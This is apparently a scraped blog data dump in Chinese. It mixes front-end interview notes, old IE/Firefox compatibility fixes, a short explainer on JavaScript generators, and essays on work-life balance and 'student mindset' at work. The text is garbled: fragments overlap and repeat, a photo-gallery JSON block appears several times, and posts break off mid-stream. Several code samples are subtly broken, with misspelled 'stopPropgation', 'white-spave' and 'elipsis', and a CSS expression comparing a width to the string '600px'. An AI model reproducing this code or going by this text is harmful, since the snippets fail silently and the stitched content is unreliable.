function stopBubble(e) {\n if (e && e.stopPropagation) {\n e.stopPropgation ()\n } else {\n window.event.cancelBubble = true\n }\n return false\n }\n
优点: node是基于时间驱动和无阻塞的,所以非常适合处理并发请求,因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多,与node代理服务器交互的客户端代码也是用js写的,用的相同的语言,这感觉前后端非常亲切和美妙
\n缺点: node是一个相对比较新的开源项目,所以不太稳定,它总是在变,而且缺少足够多的第三方库的支持
\n1· 水平居中
\n\n\n设置justify-content:center;
\n
2· 垂直居中
\n\n\na: 插入 table ,再设置vertical-align: middle;
\n
b: 先设置display: table-cell;再设置vertical-align: middle;
\n\n!important > id > class > tag
\n
\n\n400: 语义有误 401:当前请求需要用户验证 403: 服务器已经理解请求,但是拒绝执行他 404:页面找不到
\n
\n\n加载:根据请求的url进行域名解析,向服务器发起请求,接受文件(html,js,css,图像等)
\n
解析:对加载到的资源(html,js,css)进行语法解析,建议相应的内部数据结构(比如html的dom树,js的属性表,css的样式表规则等等)
人人都在说工作-生活平衡,但好像都不敢真正拥有它,移动互联网,正在让工作和生活\b的边界变得越来越模糊…
\n给自己的时间做规划,不意味着你可以更放松,反而需要更严格的时间规划,尝试对时间概念有一个精准的定位。
\n\n\n越忙越乱,越乱越忙
\n
给自己每周、每月、每年定下固定活动时间分配,让它自然而然的形成惯例。
\n\n\n越来越多的人认为,只有不断工作才能证明自己有能力、有责任心
\n
休闲时间不在长短,而在于质量。高质量的休闲让你体验到的是放松,而不是无聊和空虚。
\n休闲的必要性:放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考,容易产生有创造力的洞察力。
\n\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"长时间的工作会降低人们的创造力,提高心脏病、抑郁症的发生率。
\n
人人都在说工作-生活平衡,但好像都不敢真正拥有它,移动互联网,正在让工作和生活\b的边界变得越来越模糊…
\n给自己的时间做规划,不意味着你可以更放松,反而需要更严格的时间规划,尝试对时间概念有一个精准的定位。
\n\n\n越忙越乱,越乱越忙
\n
给自己每周、每月、每年定下固定活动时间分配,让它自然而然的形成惯例。
\n\n\n越来越多的人认为,只有不断工作才能证明自己有能力、有责任心
\n
休闲时间不在长短,而在于质量。高质量的休闲让你体验到的是放松,而不是无聊和空虚。
\n休闲的必要性:放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考,容易产生有创造力的洞察力。
\n\n\n"},{"title":"如何理解yield和*函数","date":"2018-01-30T08:10:15.000Z","_content":"\n## Koa1\n\n### 什么是 Generator \n```\nfunction *test() {\n\n}\n\ntest() // -> [Object Generator]\n```\n> generator 函数可以只运行函数的一部分,以及控制何时运行剩余的部分。\n```\nfunction *learn() {\n yield 1\n yield 2\n return 3\n}\nlet learnGen = learn()\n\nlearnGen.next() // -> {\"done\": false, \"value\": 1}\n```\n> 再次调用会运行到下一个 yield 处\n```\nlearnGen.next() // -> {\"done\": false, \"value\": 2}\nlearnGen.next() // -> {\"done\": true, \"value\": 3}\n```\n\n### 小结\n可以通过 `yield` 和 `*` 的结合实现类似 `await` `async` 的效果的效果\n\n","source":"_posts/如何理解yield和-函数.md","raw":"---\ntitle: 如何理解yield和*函数\ndate: 2018-01-30 16:10:15\ntags: [generator, yield]\ncategories: JS\n---\n\n## Koa1\n\n### 什么是 Generator \n```\nfunction *test() {\n\n}\n\ntest() // -> [Object Generator]\n```\n> generator 函数可以只运行函数的一部分,以及控制何时运行剩余的部分。\n```\nfunction *learn() {\n yield 1\n yield 2\n return 3\n}\nlet learnGen = learn()\n\nlearnGen.next() // -> {\"done\": false, \"value\": 1}\n```\n> 再次调用会运行到下一个 yield 处\n```\nlearnGen.next() // -> {\"done\": false, \"value\": 2}\nlearnGen.next() // -> {\"done\": true, \"value\": 3}\n```\n\n### 小结\n可以通过 `yield` 和 `*` 的结合实现类似 `await` `async` 的效果的效果\n\n","slug":"如何理解yield和-函数","published":1,"updated":"2018-01-31T03:31:35.280Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6n003rvzqhap5y0j2h","content":"长时间的工作会降低人们的创造力,提高心脏病、抑郁症的发生率。
\n
function *test() {\n\n}\n\ntest() // -> [Object Generator]\n
\n\ngenerator 函数可以只运行函数的一部分,以及控制何时运行剩余的部分。
\n`
function *learn() {
yield 1
yield 2
return 3
}
let learnGen = learn()
learnGen.next() // -> {“done”: false, “value”: 1}
\n> 再次调用会运行到下一个 yield 处\n
learnGen.next() // -> {“done”: false, “value”: 2}
learnGen.next() // -> {“done”: true, “value”: 3}`
可以通过 yield
和 *
的结合实现类似 await
async
的效果的效果
function *test() {\n\n}\n\ntest() // -> [Object Generator]\n
\n\ngenerator 函数可以只运行函数的一部分,以及控制何时运行剩余的部分。
\n`
function *learn() {
yield 1
yield 2
return 3
}
let learnGen = learn()
learnGen.next() // -> {“done”: false, “value”: 1}
\n> 再次调用会运行到下一个 yield 处\n
learnGen.next() // -> {“done”: false, “value”: 2}
learnGen.next() // -> {“done”: true, “value”: 3}`
可以通过 yield
和 *
的结合实现类似 await
async
的效果的效果
IE:obj.parentElement
Firefox:obj.parentNode
解决办法:都用obj.parentNode
if (navigator.appName.indexOf('Explorer') > -1) {\n document.getElementById('element').innerText = 'my text'\n} else {\n document.getElementById('element').textContent = 'my text'\n}\n
box {width:100px; border: 1px;}
IE:box.width = 100
FF:box.width = 100 + 1*2
解决方法:{width: 100px!important; width: 98px;}
设置为 float 的 div 在 ie 下设置的 margin 会加倍
解决方法:加入 display:inline
IE 不识别 min
解决方法:min-width: 600px; width: expression(document.body.clientWidth < 600px ? ‘600px’ : ‘auto’)
解决方法:左边浮动,右边margin-right: -3px;
\nli {\n width:200px;\n white-spave: nowrap;\n text-overflow: elipsis;\n overflow: hidden;\n}\n
FF 不支持
\n解决方法:将 body 换成 HTML
html {scrollbar-face-color: #fff;….}
解决方法:将flash 设置为透明
\n解决方法:注意顺序 L-V-H-A
\n在 IE 中会有一点边距
解决方法:ul,form {margin: 0; padding: 0;}
可以下载 js 库
\n####
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"IE:obj.parentElement
Firefox:obj.parentNode
解决办法:都用obj.parentNode
if (navigator.appName.indexOf('Explorer') > -1) {\n document.getElementById('element').innerText = 'my text'\n} else {\n document.getElementById('element').textContent = 'my text'\n}\n
box {width:100px; border: 1px;}
IE:box.width = 100
FF:box.width = 100 + 1*2
解决方法:{width: 100px!important; width: 98px;}
设置为 float 的 div 在 ie 下设置的 margin 会加倍
解决方法:加入 display:inline
IE 不识别 min
解决方法:min-width: 600px; width: expression(document.body.clientWidth < 600px ? ‘600px’ : ‘auto’)
解决方法:左边浮动,右边margin-right: -3px;
\nli {\n width:200px;\n white-spave: nowrap;\n text-overflow: elipsis;\n overflow: hidden;\n}\n
FF 不支持
\n解决方法:将 body 换成 HTML
html {scrollbar-face-color: #fff;….}
解决方法:将flash 设置为透明
\n解决方法:注意顺序 L-V-H-A
\n在 IE 中会有一点边距
解决方法:ul,form {margin: 0; padding: 0;}
可以下载 js 库
\n####
\n"},{"title":"学生思维","date":"2018-04-10T01:38:11.000Z","_content":"# 学生思维\n\n## 1. 认为准备好了再做\n\n持续认为自己还没准备好,\b遇到新的挑战(机会),本能的觉得自己没学过,回避,很多时候,是你有了责任,有了目标,才会让自己更强大\b,而不是自己强大了再做某事。\n> 永远让事情推自己走,而不是让自己跟着事情走。\n\n## 2. 被动接受,而不是主动获取\n\n习惯老师留作业。但是工作了,很多时候要自己发挥,等着布置作业那是泯然众人的做法。在职场上有突破的,往往都更主动,他们不会\b羞涩于请教,不会因为\b担心麻烦人而影响工作,他们只是在聚焦如何让工作做得更好,所以积极主动。\n> 不要小看主动的力量。\n\n## 3. 不愿意面对不可预期的逆境\n\n很多人习惯了学生时代的感觉,习惯了有确定性的事物,却不知道,工作中有很多不确定性。你总说在面对各种未知的问题,有问题就要解决问题。有些人面对这样的逆境,不够坚韧,总选择逃避,很难承担\b重任,职场发展就会受限。\n\n## 4. 小孩子脾气\n\n不要把无知当个性,不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心,大家更想\b配合好把事情做完。有个性和脾气不是不可以,但那是建立在自身的本事和成绩上的。\n> 恃才傲物\b还可以接受,没能力还以自我为中心只会被人嫌弃。\n\n## 5. 过于放大自己的价值\n\n自信心不强经常遇到,但还有另一种极端的情况,就是过于放大自己的价值。在一个新组织里,既有自己的努力,又有组织提供的机会。我们常常说要从小事做起,其实就是在积攒人品,让别人逐步信任你。其实我们往往没有想象中那么重要,只是大家积累起来的信任链条。\b\n> 不吭不卑才是合适的作风。\n\n## 6. 懒于改变\n\n很多人习惯了按部就班,习惯了在一条轨道上,有什么想法也只是说说而已,并没有\b勇气去落地执行,只是在等待,这样的人\b则完全没有任何魄力。\n> 只是等待,没有任何结果。\n\n## 7. 给自己画一条线\n\n我是学...的,我是做...的,所以我不能...。往往希望自己\b能从他人那里得到一些肯定。其实如果信心坚定,大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。\n> 没有那么多鸿沟拦着你,是你自己拦着自己。\n\n## 8. 没有意识到要和优秀的人在一起\n\n读书的时候,好学生和一般的学生,多少会有点距离。在社会里,工作上要去拉近这个距离。时常看看优秀的人在做什么,看到好的点,学习到自己这里,这是好事。\n> \b见贤思齐焉。\n\n## 9. 不知道衡量 10 年总收入\n\n刚入职场,很多学生会比 offer、 收入...等等。不是说不应该在意,而是优先级高的应该是自己的成长值能增加多少,能不能通过自己的努力,把自己作为一个产品给做出来。\b衡量自己未来的 10 年收入,不仅仅是经济,还有能力、资历的,不争一城一地的得失,将重点放到\b经营自己这个产品上来。\n> 投资自己,让自己不断增值,才是正事。\n\n## 10. 小红花意识\n\n人都希望被表扬。有的时候就要忍受阶段性的在角落,\b可能很辛苦,作出了成绩没人认同很委屈,稍微作出了点事就想\b收到认同。其实\b,这往往需要时间\b、需要积累和沉淀。很多事你是在为自己做,做多了,大概率会有好结果,即使不是立刻就有。\n> 自己的行为过于依赖周围人的反应,反而会打乱自己的节奏。\n\n## 11. 连他都可以\n\n在学校里,你成绩可能比人家好,在社会上,可能人家混的比你好。社会和学校有他们自己的规则,\b\b不要在比较重蹉跎。\n> 按照自己的节奏,一步一步让自己变得更好。\n\n## 12. 不会保护自己\n\n这个世界存在坏人,因为利益、嫉妒、扭曲的心理...学校可能环境相对简单,但是工作中,情况就要复杂很多。比如你是医生,就要\b做好医闹的准备。在公司工作,该有的流程,\b\b留下邮件的,都得有。\n\n## 13. 伸手党意识\n\n\b在请他人帮忙处理前,自己先尽力找到处理问题的办法。实在不行再开口,又或者是时间周期短,加急的情况。\n\n## 14. 理性投资消费\n\n常常有人说我穷、没钱。\b大多数人是家境可以,但是该消费的地方不消费,例如:学习和自我提升。不该消费的地方大手笔,例如:电脑要最新,手机要最新。更多体现\b的是一种攀比心理。如何领先他人抓住机遇,也体现在如何正确和理性的投资。\n\n## 15. 做为新人不够谦虚\n\n说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺,保持谦虚,是一种态度。\n\n## 16. 认识人多就是资源\n\n所谓人脉,其实不是认识的人越多越好,而是要和事情,和自己能力匹配,大家基于共同的事情,兴趣认识,主要是一起讨论和学习,当然还有认识彼此。\n> 要让这个状态成为自然的结果,而不是刻意为之。\n\n## 17. 缺乏职场必要的沟通\n\n通过书面的、语言的沟通,把自己的观点表达的有条理并且富有\b逻辑,讲明白了事情,但是又不会引起反感,如果身边有这样的人,可以向他们学习学习。\n\n## 18. 锚定在周围\b人身上\n\n在一个行业里,应该去和整个行业最优秀的人做比较,经常跳出来,看看最好的人在做什么,不要把自己局限住,把自己的目标设高点,就算达不到,也要往上\b爬。\n\n## \b19. 缺乏自己判断,容易\b被他人影响\n\n跳出他人的观点,敢于对各种观点\b质疑。取其精华\b\b,抛弃糟蹋。\n\n## 20. 没有能力边界的概念\n\n有时候总是说,凡是\b努力就会成功,如果没有成功,就是努力的还不够。\b但是随着成长,就会发现,有些事情就是自己不擅长做的。就像高中成绩,总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。\n> 聚焦自己能力之内的,不要意想天开,认为自己无所不能。\n","source":"_posts/学生思维.md","raw":"---\ntitle: 学生思维\ndate: 2018-04-10 09:38:11\ntags: [学生思维]\ncategories: 生活\n---\n# 学生思维\n\n## 1. 认为准备好了再做\n\n持续认为自己还没准备好,\b遇到新的挑战(机会),本能的觉得自己没学过,回避,很多时候,是你有了责任,有了目标,才会让自己更强大\b,而不是自己强大了再做某事。\n> 永远让事情推自己走,而不是让自己跟着事情走。\n\n## 2. 被动接受,而不是主动获取\n\n习惯老师留作业。但是工作了,很多时候要自己发挥,等着布置作业那是泯然众人的做法。在职场上有突破的,往往都更主动,他们不会\b羞涩于请教,不会因为\b担心麻烦人而影响工作,他们只是在聚焦如何让工作做得更好,所以积极主动。\n> 不要小看主动的力量。\n\n## 3. 不愿意面对不可预期的逆境\n\n很多人习惯了学生时代的感觉,习惯了有确定性的事物,却不知道,工作中有很多不确定性。你总说在面对各种未知的问题,有问题就要解决问题。有些人面对这样的逆境,不够坚韧,总选择逃避,很难承担\b重任,职场发展就会受限。\n\n## 4. 小孩子脾气\n\n不要把无知当个性,不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心,大家更想\b配合好把事情做完。有个性和脾气不是不可以,但那是建立在自身的本事和成绩上的。\n> 恃才傲物\b还可以接受,没能力还以自我为中心只会被人嫌弃。\n\n## 5. 过于放大自己的价值\n\n自信心不强经常遇到,但还有另一种极端的情况,就是过于放大自己的价值。在一个新组织里,既有自己的努力,又有组织提供的机会。我们常常说要从小事做起,其实就是在积攒人品,让别人逐步信任你。其实我们往往没有想象中那么重要,只是大家积累起来的信任链条。\b\n> 不吭不卑才是合适的作风。\n\n## 6. 懒于改变\n\n很多人习惯了按部就班,习惯了在一条轨道上,有什么想法也只是说说而已,并没有\b勇气去落地执行,只是在等待,这样的人\b则完全没有任何魄力。\n> 只是等待,没有任何结果。\n\n## 7. 给自己画一条线\n\n我是学...的,我是做...的,所以我不能...。往往希望自己\b能从他人那里得到一些肯定。其实如果信心坚定,大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。\n> 没有那么多鸿沟拦着你,是你自己拦着自己。\n\n## 8. 没有意识到要和优秀的人在一起\n\n读书的时候,好学生和一般的学生,多少会有点距离。在社会里,工作上要去拉近这个距离。时常看看优秀的人在做什么,看到好的点,学习到自己这里,这是好事。\n> \b见贤思齐焉。\n\n## 9. 不知道衡量 10 年总收入\n\n刚入职场,很多学生会比 offer、 收入...等等。不是说不应该在意,而是优先级高的应该是自己的成长值能增加多少,能不能通过自己的努力,把自己作为一个产品给做出来。\b衡量自己未来的 10 年收入,不仅仅是经济,还有能力、资历的,不争一城一地的得失,将重点放到\b经营自己这个产品上来。\n> 投资自己,让自己不断增值,才是正事。\n\n## 10. 小红花意识\n\n人都希望被表扬。有的时候就要忍受阶段性的在角落,\b可能很辛苦,作出了成绩没人认同很委屈,稍微作出了点事就想\b收到认同。其实\b,这往往需要时间\b、需要积累和沉淀。很多事你是在为自己做,做多了,大概率会有好结果,即使不是立刻就有。\n> 自己的行为过于依赖周围人的反应,反而会打乱自己的节奏。\n\n## 11. 连他都可以\n\n在学校里,你成绩可能比人家好,在社会上,可能人家混的比你好。社会和学校有他们自己的规则,\b\b不要在比较重蹉跎。\n> 按照自己的节奏,一步一步让自己变得更好。\n\n## 12. 不会保护自己\n\n这个世界存在坏人,因为利益、嫉妒、扭曲的心理...学校可能环境相对简单,但是工作中,情况就要复杂很多。比如你是医生,就要\b做好医闹的准备。在公司工作,该有的流程,\b\b留下邮件的,都得有。\n\n## 13. 伸手党意识\n\n\b在请他人帮忙处理前,自己先尽力找到处理问题的办法。实在不行再开口,又或者是时间周期短,加急的情况。\n\n## 14. 理性投资消费\n\n常常有人说我穷、没钱。\b大多数人是家境可以,但是该消费的地方不消费,例如:学习和自我提升。不该消费的地方大手笔,例如:电脑要最新,手机要最新。更多体现\b的是一种攀比心理。如何领先他人抓住机遇,也体现在如何正确和理性的投资。\n\n## 15. 做为新人不够谦虚\n\n说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺,保持谦虚,是一种态度。\n\n## 16. 认识人多就是资源\n\n所谓人脉,其实不是认识的人越多越好,而是要和事情,和自己能力匹配,大家基于共同的事情,兴趣认识,主要是一起讨论和学习,当然还有认识彼此。\n> 要让这个状态成为自然的结果,而不是刻意为之。\n\n## 17. 缺乏职场必要的沟通\n\n通过书面的、语言的沟通,把自己的观点表达的有条理并且富有\b逻辑,讲明白了事情,但是又不会引起反感,如果身边有这样的人,可以向他们学习学习。\n\n## 18. 锚定在周围\b人身上\n\n在一个行业里,应该去和整个行业最优秀的人做比较,经常跳出来,看看最好的人在做什么,不要把自己局限住,把自己的目标设高点,就算达不到,也要往上\b爬。\n\n## \b19. 缺乏自己判断,容易\b被他人影响\n\n跳出他人的观点,敢于对各种观点\b质疑。取其精华\b\b,抛弃糟蹋。\n\n## 20. 没有能力边界的概念\n\n有时候总是说,凡是\b努力就会成功,如果没有成功,就是努力的还不够。\b但是随着成长,就会发现,有些事情就是自己不擅长做的。就像高中成绩,总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。\n> 聚焦自己能力之内的,不要意想天开,认为自己无所不能。\n","slug":"学生思维","published":1,"updated":"2018-04-10T03:00:22.013Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6q003yvzqhp2sjc406","content":"持续认为自己还没准备好,\b遇到新的挑战(机会),本能的觉得自己没学过,回避,很多时候,是你有了责任,有了目标,才会让自己更强大\b,而不是自己强大了再做某事。
\n\n\n永远让事情推自己走,而不是让自己跟着事情走。
\n
习惯老师留作业。但是工作了,很多时候要自己发挥,等着布置作业那是泯然众人的做法。在职场上有突破的,往往都更主动,他们不会\b羞涩于请教,不会因为\b担心麻烦人而影响工作,他们只是在聚焦如何让工作做得更好,所以积极主动。
\n\n\n不要小看主动的力量。
\n
很多人习惯了学生时代的感觉,习惯了有确定性的事物,却不知道,工作中有很多不确定性。你总说在面对各种未知的问题,有问题就要解决问题。有些人面对这样的逆境,不够坚韧,总选择逃避,很难承担\b重任,职场发展就会受限。
\n不要把无知当个性,不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心,大家更想\b配合好把事情做完。有个性和脾气不是不可以,但那是建立在自身的本事和成绩上的。
\n\n\n恃才傲物\b还可以接受,没能力还以自我为中心只会被人嫌弃。
\n
自信心不强经常遇到,但还有另一种极端的情况,就是过于放大自己的价值。在一个新组织里,既有自己的努力,又有组织提供的机会。我们常常说要从小事做起,其实就是在积攒人品,让别人逐步信任你。其实我们往往没有想象中那么重要,只是大家积累起来的信任链条。\b
\n\n\n不吭不卑才是合适的作风。
\n
很多人习惯了按部就班,习惯了在一条轨道上,有什么想法也只是说说而已,并没有\b勇气去落地执行,只是在等待,这样的人\b则完全没有任何魄力。
\n\n\n只是等待,没有任何结果。
\n
我是学…的,我是做…的,所以我不能…。往往希望自己\b能从他人那里得到一些肯定。其实如果信心坚定,大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。
\n\n\n没有那么多鸿沟拦着你,是你自己拦着自己。
\n
读书的时候,好学生和一般的学生,多少会有点距离。在社会里,工作上要去拉近这个距离。时常看看优秀的人在做什么,看到好的点,学习到自己这里,这是好事。
\n\n\n\b见贤思齐焉。
\n
